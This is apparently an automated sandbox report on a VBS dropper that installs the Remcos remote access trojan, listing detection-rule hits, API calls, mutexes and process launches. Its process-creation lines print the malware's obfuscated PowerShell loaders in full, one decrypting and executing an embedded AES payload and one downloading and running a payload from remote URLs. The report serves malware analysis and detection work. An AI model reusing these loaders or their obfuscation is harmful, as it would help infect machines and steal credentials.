Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7244, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7632, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@25/16@4/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,

7_2_004182CE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		4_2_00417952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,FindCloseChangeNotification,		9_2_00410DE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,??3@YAXPAX@Z,

7_2_00418758

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

4_2_0040F474

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

4_2_0041B4A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

4_2_0041AA4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\shietgtst-A57Q98
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5248:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwbrpynw.bnu.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createdthingstobefrankwithmeeverywhere.gIF.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7244
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7632

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.2123311887.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: RegAsm.exe, 00000007.00000002.2134630961.0000000002E33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: createdthingstobefrankwithmeeverywhere.gIF.vbs

Virustotal: Detection: 18%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createdthingstobefrankwithmeeverywhere.gIF.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\jmlaun"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\tgqsvxbzg"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
